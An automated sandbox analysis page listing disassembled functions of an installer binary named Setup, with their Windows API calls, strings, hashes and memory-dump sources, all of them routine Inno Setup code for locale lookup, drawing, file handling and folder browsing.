Opcode ID: 496c044e1d374f1f78f2730c3eb148dae4f3c1e0896f658079ad9399b5a99f9a
Instruction ID: c9be34daceac6f92f44bb6ef845425171e9d6c5489943f5fbf95386c747f0ee1
Opcode Fuzzy Hash: 496c044e1d374f1f78f2730c3eb148dae4f3c1e0896f658079ad9399b5a99f9a
Instruction Fuzzy Hash: 6521B571740710BAE610EB66DC03F1A76B4EB44B04FE18137BA04BB2D1D7B96C1486ED

Function 0042E1EC Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 86registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,0042E2F1,?,?,004800BC,00000000), ref: 0042E215
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042E21B
RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,0042E2F1,?,?,004800BC,00000000), ref: 0042E269

Strings

Locale, xrefs: 0042E258
GetUserDefaultUILanguage, xrefs: 0042E20B
.DEFAULT\Control Panel\International, xrefs: 0042E240
Control Panel\Desktop\ResourceLocale, xrefs: 0042E278
kernel32.dll, xrefs: 0042E210

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
API String ID: 4190037839-2401316094
Opcode ID: 0cd3a6425752244f9cf554a0e6a918a6b6f80f53a033d036e754516a9b36127b
Instruction ID: 9089c559e472c7137085ce593561e54ebd69e456250d69d06cffda64758bc896
Opcode Fuzzy Hash: 0cd3a6425752244f9cf554a0e6a918a6b6f80f53a033d036e754516a9b36127b
Instruction Fuzzy Hash: D8215830F00219EFDB10DAA6DD55B9F77ACEB04705FE04477A501E7281EB78AE058B69

Function 00416D1C Relevance: 15.2, APIs: 10, Instructions: 167windowCOMMON

Download Yara Rule

APIs

RectVisible.GDI32(?,?), ref: 00416DAF
SaveDC.GDI32(?), ref: 00416DC3
IntersectClipRect.GDI32(?,00000000,00000000,?,?), ref: 00416DE6
RestoreDC.GDI32(?,?), ref: 00416E01
CreateSolidBrush.GDI32(00000000), ref: 00416E81
FrameRect.USER32(?,?,?), ref: 00416EB4
DeleteObject.GDI32(?), ref: 00416EBE
CreateSolidBrush.GDI32(00000000), ref: 00416ECE
FrameRect.USER32(?,?,?), ref: 00416F01
DeleteObject.GDI32(?), ref: 00416F0B

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Rect$BrushCreateDeleteFrameObjectSolid$ClipIntersectRestoreSaveVisible
String ID:
API String ID: 375863564-0
Opcode ID: d1807b7d7ce6f663feabd497106d58b9893ccfe39c49de5da477142dee9416d4
Instruction ID: 91d7bb79990be910e1d6d49a568a2867a12dd8b639aa3b593791df30e5c20205
Opcode Fuzzy Hash: d1807b7d7ce6f663feabd497106d58b9893ccfe39c49de5da477142dee9416d4
Instruction Fuzzy Hash: 1C513C71604645AFDB54EF29C8C0B9777E8AF48318F15466AFD488B287C738EC81CB99

Function 00404A2B Relevance: 15.1, APIs: 10, Instructions: 119fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404AAA
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404ACE
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404AEA
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00404B0B
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00404B34
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00404B3E
GetStdHandle.KERNEL32(000000F5), ref: 00404B5E
GetFileType.KERNEL32(?,000000F5), ref: 00404B75
CloseHandle.KERNEL32(?,?,000000F5), ref: 00404B90
GetLastError.KERNEL32(000000F5), ref: 00404BAA

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: 3bfb5afb3087beb5dd6b1b169d209d097c7497b26921680c5a83f8d0d60f0a81
Instruction ID: 0c3b93c923f27911bf6a0b20c7a302a5ce99a82c46747d2a3ab92556c7e0bf16
Opcode Fuzzy Hash: 3bfb5afb3087beb5dd6b1b169d209d097c7497b26921680c5a83f8d0d60f0a81
Instruction Fuzzy Hash: B141A2F02446009AEB305E24C905B2375E5EBC0724F20893FAB96B66E5D77DE8118B5D

Function 00422100 Relevance: 15.1, APIs: 10, Instructions: 73windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(00000000,00000000), ref: 0042214B
DeleteMenu.USER32(00000000,0000F130,00000000,00000000,00000000), ref: 00422169
DeleteMenu.USER32(00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 00422176
DeleteMenu.USER32(00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 00422183
DeleteMenu.USER32(00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 00422190
DeleteMenu.USER32(00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000), ref: 0042219D
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000), ref: 004221AA
DeleteMenu.USER32(00000000,0000F120,00000000,00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000), ref: 004221B7
EnableMenuItem.USER32(00000000,0000F020,00000001), ref: 004221D5
EnableMenuItem.USER32(00000000,0000F030,00000001), ref: 004221F1

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Menu$Delete$EnableItem$System
String ID:
API String ID: 3985193851-0
Opcode ID: f0876f6c883f4e475a12387746be9ac8547c19fc713d766c625d96b0486e11c3
Instruction ID: 59bd159b4b3306f4d7beb0c4b20751b7b0243c37781155b5214e547b25efe559
Opcode Fuzzy Hash: f0876f6c883f4e475a12387746be9ac8547c19fc713d766c625d96b0486e11c3
Instruction Fuzzy Hash: DC2132703407547AE720D624CD8EFAB7AD8AF04708F444066B7447F2D3C6FCAA808658

Function 004567D8 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 225COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004568BF

Strings

MoveFileEx, xrefs: 00456ACF
04E, xrefs: 004568E7
[rename], xrefs: 00456922, 0045695E
04E, xrefs: 004568CF
WININIT.INI, xrefs: 0045686D
NUL, xrefs: 00456981
.tmp, xrefs: 0045687B

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID: .tmp$04E$04E$MoveFileEx$NUL$WININIT.INI$[rename]
API String ID: 390214022-3210541566
Opcode ID: 2b52705e253f985b97325d75b04387fa68e658e0331b0e9c7067e41d59b0cf55
Instruction ID: 0fd2c365dd7c779f8fdeff2a475f19dd7e6db529fe00698739b6ad8c12be20c2
Opcode Fuzzy Hash: 2b52705e253f985b97325d75b04387fa68e658e0331b0e9c7067e41d59b0cf55
Instruction Fuzzy Hash: 45910870E002099BDB01EFA5C881BDEB7B5EF49306F518466ED00B7392D779AE09CB59

Function 0045D29C Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 209COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,0045D558,?,?,?,?,?,00000006,?,00000000,0049A563,?,00000000,0049A606), ref: 0045D40A

Strings

.hlp, xrefs: 0045D2D3
.lnk, xrefs: 0045D377
.gid, xrefs: 0045D2EC
.fts, xrefs: 0045D310
.chw, xrefs: 0045D351
.chm, xrefs: 0045D338

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ErrorLast
String ID: .chm$.chw$.fts$.gid$.hlp$.lnk
API String ID: 1452528299-952807967
Opcode ID: 1cafa3f1ff399c6514bfedfb040a29a359f8b0ffcbee6477ad5116316fb3fb66
Instruction ID: d6fb7c36b17718837dba6dae69618b4dcc68ed146142752e5dfe3825df886f09
Opcode Fuzzy Hash: 1cafa3f1ff399c6514bfedfb040a29a359f8b0ffcbee6477ad5116316fb3fb66
Instruction Fuzzy Hash: F571A330B002496BDB21EB6998417AE77A49F49309F50846BFC01D7383EB7CDE49CB5A

Function 0046414C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 00464187
GetActiveWindow.USER32 ref: 004641EB
CoInitialize.OLE32(00000000), ref: 004641FF
SHBrowseForFolder.SHELL32(?), ref: 00464216
CoUninitialize.OLE32(00464257,00000000,?,?,?,?,?,00000000,004642DB), ref: 0046422B
SetActiveWindow.USER32(00010426,00464257,00000000,?,?,?,?,?,00000000,004642DB), ref: 00464241
SetActiveWindow.USER32(?,00010426,00464257,00000000,?,?,?,?,?,00000000,004642DB), ref: 0046424A

Strings

A, xrefs: 004641BF

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ActiveWindow$BrowseFolderInitializeMallocUninitialize
String ID: A
API String ID: 2684663990-3554254475
Opcode ID: 093640c9173112ab50a7f0f4c51b5f05f8a76163128272c3a7cdc1c60f80b434
Instruction ID: da9be8dca9cdd6d1197d123a5e4de1d213b915a1f9cc14618fd7b40dfcda48ae
Opcode Fuzzy Hash: 093640c9173112ab50a7f0f4c51b5f05f8a76163128272c3a7cdc1c60f80b434
Instruction Fuzzy Hash: CB312DB1E002189FDF00EFA6D895A9EBBF8EF49304F51846BF504E7251E6789A04CF59

Function 00418BE4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000E), ref: 00418C00
GetSystemMetrics.USER32(0000000D), ref: 00418C08
6F9A2980.COMCTL32(00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00418C0E

Part of subcall function 004099C0: 6F99C400.COMCTL32($I,000000FF,00000000,00418C3C,00000000,00418C98,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 004099C4

6FA0CB00.COMCTL32($I,00000000,00000000,00000000,00000000,00418C98,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00418C5E
6FA0C740.COMCTL32(00000000,?,$I,00000000,00000000,00000000,00000000,00418C98,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001), ref: 00418C69
6FA0CB00.COMCTL32($I,00000001,?,?,00000000,?,$I,00000000,00000000,00000000,00000000,00418C98,?,00000000,0000000D,00000000), ref: 00418C7C
6F9A0860.COMCTL32($I,00418C9F,?,00000000,?,$I,00000000,00000000,00000000,00000000,00418C98,?,00000000,0000000D,00000000,0000000E), ref: 00418C92

Strings

$I, xrefs: 00418C34, 00418C4C, 00418C5A, 00418C78, 00418C8E, 00418C5D, 00418C7B, 00418C91

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MetricsSystem$A0860A2980C400C740
String ID: $I
API String ID: 1086221473-3960913755
Opcode ID: 63ef6472c9b7017a59bedacb822b2f575dc2a3c21b8e380bd352f2d0af4b7687
Instruction ID: 5fa3015cdfbd79c14ae3b8dcdbdb78a474102e5a5c92e8431f80557e13f53751
Opcode Fuzzy Hash: 63ef6472c9b7017a59bedacb822b2f575dc2a3c21b8e380bd352f2d0af4b7687
Instruction Fuzzy Hash: C61124B1B54204BADB10EBA5CC83F5E73B8EB48704F5004AAB604F72D2E6799D409768

Function 004752E8 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 67COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,004753A9,?,?,?,00000008,00000000,00000000,00000000,?,00475605,?,?,00000000,00475870), ref: 0047530C

Part of subcall function 0042CC0C: GetPrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0042CC82

Part of subcall function 00406F58: DeleteFileA.KERNEL32(00000000,0049E624,0049B395,00000000,0049B3EA,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406F63

SetFileAttributesA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,004753A9,?,?,?,00000008,00000000,00000000,00000000,?,00475605), ref: 00475383
RemoveDirectoryA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,004753A9,?,?,?,00000008,00000000,00000000,00000000), ref: 00475389

Strings

desktop.ini, xrefs: 00475320
CLSID2, xrefs: 00475336
.ShellClassInfo, xrefs: 0047533B
target.lnk, xrefs: 00475361
{0AFACED1-E828-11D1-9187-B532F1E9575D}, xrefs: 00475345

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryPrivateProfileRemoveString
String ID: .ShellClassInfo$CLSID2$desktop.ini$target.lnk${0AFACED1-E828-11D1-9187-B532F1E9575D}
API String ID: 884541143-1710247218
Opcode ID: 59d27675eb21386d0f5966ba75068365fab0e4eb828aefb47f956ac1a948657a
Instruction ID: 3b748bddd2cfaf07b838b57c12d6273cfd3af31a280f8ce9f6ddf262f54bcf0b
Opcode Fuzzy Hash: 59d27675eb21386d0f5966ba75068365fab0e4eb828aefb47f956ac1a948657a
Instruction Fuzzy Hash: A811D3307009446BD710E66A9C82B9F76ACDB44794F60C53BF804EB2D1DBFC9E01862C

Function 0045FD48 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 41libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,inflateInit_), ref: 0045FD51
GetProcAddress.KERNEL32(?,inflate), ref: 0045FD61
GetProcAddress.KERNEL32(?,inflateEnd), ref: 0045FD71
GetProcAddress.KERNEL32(?,inflateReset), ref: 0045FD81

Strings

inflate, xrefs: 0045FD5B
inflateInit_, xrefs: 0045FD4B
inflateReset, xrefs: 0045FD7B
inflateEnd, xrefs: 0045FD6B

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressProc
String ID: inflate$inflateEnd$inflateInit_$inflateReset
API String ID: 190572456-3516654456
Opcode ID: a33c1fe7f77b708a160ecb4657b7c1372d32ed3e3d770e788ada8d2b68609cca
Instruction ID: e535d62de5b47fa65e91e12104fca587dcba2ed947df1b38333cfabd11d16173
Opcode Fuzzy Hash: a33c1fe7f77b708a160ecb4657b7c1372d32ed3e3d770e788ada8d2b68609cca
Instruction Fuzzy Hash: 4B01DA71900600AED714EF36AC4576677E9A7A8306F60C07B9C06D52A3D679045DDE2E

Function 0041A86C Relevance: 13.7, APIs: 9, Instructions: 176windowCOMMON

Download Yara Rule

APIs

SetBkColor.GDI32(?,00000000), ref: 0041A949
73EA4D40.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020,?,00000000), ref: 0041A983
SetBkColor.GDI32(?,?), ref: 0041A998
StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00CC0020), ref: 0041A9E2
SetTextColor.GDI32(00000000,00000000), ref: 0041A9ED
SetBkColor.GDI32(00000000,00FFFFFF), ref: 0041A9FD
StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00E20746), ref: 0041AA3C
SetTextColor.GDI32(00000000,00000000), ref: 0041AA46
SetBkColor.GDI32(00000000,?), ref: 0041AA53

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Color$StretchText
String ID:
API String ID: 2984075790-0
Opcode ID: de27eef3e23376d52a594f1096022f9c2dba32baebc1c07505adec9a4160b6d5
Instruction ID: f4430d4afad543ef0c350baa1e4137035233ce6a54983072cddb016ddc8beac4
Opcode Fuzzy Hash: de27eef3e23376d52a594f1096022f9c2dba32baebc1c07505adec9a4160b6d5
Instruction Fuzzy Hash: AA61C4B5A00215EFCB40EFA9D9C5E9AB7F8AF09314B14816AF518DB251C734ED41CF98

Function 0044FFA8 Relevance: 13.6, APIs: 9, Instructions: 90COMMON

Download Yara Rule

APIs

OffsetRect.USER32(?,00000001,00000001), ref: 0044FFD9
GetSysColor.USER32(00000014), ref: 0044FFE0
SetTextColor.GDI32(00000000,00000000), ref: 0044FFF8
DrawTextA.USER32(00000000,00000000,00000000), ref: 00450021
OffsetRect.USER32(?,000000FF,000000FF), ref: 0045002B
GetSysColor.USER32(00000010), ref: 00450032
SetTextColor.GDI32(00000000,00000000), ref: 0045004A
DrawTextA.USER32(00000000,00000000,00000000), ref: 00450073
DrawTextA.USER32(00000000,00000000,00000000), ref: 0045009E

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Text$Color$Draw$OffsetRect
String ID:
API String ID: 1005981011-0
Opcode ID: 052682e81a2f6c282b463664f5c5266565fd9a3d4c767b6fb66366222148060d
Instruction ID: 969c5d01462e24fe8f0bf91323f10c9be20e2d84bfcb15844cb0c474741df2b8
Opcode Fuzzy Hash: 052682e81a2f6c282b463664f5c5266565fd9a3d4c767b6fb66366222148060d
Instruction Fuzzy Hash: EB21CCB42015106BD710FB6ECD8AE9FBBDCDF09719B01447ABA14EB393C678DE444A68

Function 00469C4C Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SHGetFileInfo.SHELL32(c:\directory,00000010,?,00000160,00001010), ref: 00469CEF
ExtractIconA.SHELL32(00400000,00000000,?), ref: 00469D15

Part of subcall function 00469B8C: DrawIconEx.USER32(00000000,00000000,00000000,00000000,00000020,00000020,00000000,00000000,00000003), ref: 00469C24
Part of subcall function 00469B8C: DestroyCursor.USER32(00000000), ref: 00469C3A

ExtractIconA.SHELL32(00400000,00000000,00000027), ref: 00469D6C
SHGetFileInfo.SHELL32(00000000,00000000,?,00000160,00001000), ref: 00469DCD
ExtractIconA.SHELL32(00400000,00000000,?), ref: 00469DF3

Strings

c:\directory, xrefs: 00469CEA
shell32.dll, xrefs: 00469D50

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Icon$Extract$FileInfo$CursorDestroyDraw
String ID: c:\directory$shell32.dll
API String ID: 3376378930-1375355148
Opcode ID: 73cb499fa06e3850123367e70115a9db1df5bbec68a8eef09a6bee40a01eeb91
Instruction ID: d7f1cd07b8d0719c34a020fd97333068f191878530bb3e4ceefc3f1e70fb010f
Opcode Fuzzy Hash: 73cb499fa06e3850123367e70115a9db1df5bbec68a8eef09a6bee40a01eeb91
Instruction Fuzzy Hash: A1519074600208AFDB10EF55DD86FDEB7ACAB48304F5041B6F904D7391D6B9AE81CB59

Function 0047EDC4 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 95libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,SHGetFolderPathA), ref: 0047EEC6

Strings

shfolder.dll, xrefs: 0047EE29, 0047EE62
_isetup\_shfoldr.dll, xrefs: 0047EDF6
SHFOLDERDLL, xrefs: 0047EE03
shell32.dll, xrefs: 0047EE71
Failed to get version numbers of _shfoldr.dll, xrefs: 0047EE1C
SHGetFolderPathA, xrefs: 0047EEBB

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get version numbers of _shfoldr.dll$SHFOLDERDLL$SHGetFolderPathA$_isetup\_shfoldr.dll$shell32.dll$shfolder.dll
API String ID: 190572456-3722718423
Opcode ID: 9b7455d1d4d86cb5ec647ddb85bd8e9366b8c810cd28820c010d97fb218e1eea
Instruction ID: 9d85f15f42d38e321e530fd9f0c65614aa21f14105a710d2f772fe13a2f44e5b
Opcode Fuzzy Hash: 9b7455d1d4d86cb5ec647ddb85bd8e9366b8c810cd28820c010d97fb218e1eea
Instruction Fuzzy Hash: DD313230A00109DFDB00EF96D8819DEB7B5EB48704FA08AB7E408E7641D778AE55CB6D

Function 00465928 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004163B0: GetClassInfoA.USER32(00400000,?,?), ref: 0041641F
Part of subcall function 004163B0: UnregisterClassA.USER32(?,00400000), ref: 0041644B
Part of subcall function 004163B0: RegisterClassA.USER32(?), ref: 0041646E

GetVersion.KERNEL32 ref: 00465958
SendMessageA.USER32(00000000,0000112C,00000004,00000004), ref: 00465996
SHGetFileInfo.SHELL32(00465A34,00000000,?,00000160,00004011), ref: 004659B3
LoadCursorA.USER32(00000000,00007F02), ref: 004659D1
SetCursor.USER32(00000000,00000000,00007F02,00465A34,00000000,?,00000160,00004011), ref: 004659D7
SetCursor.USER32(?,00465A17,00007F02,00465A34,00000000,?,00000160,00004011), ref: 00465A0A

Strings

Explorer, xrefs: 00465972

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

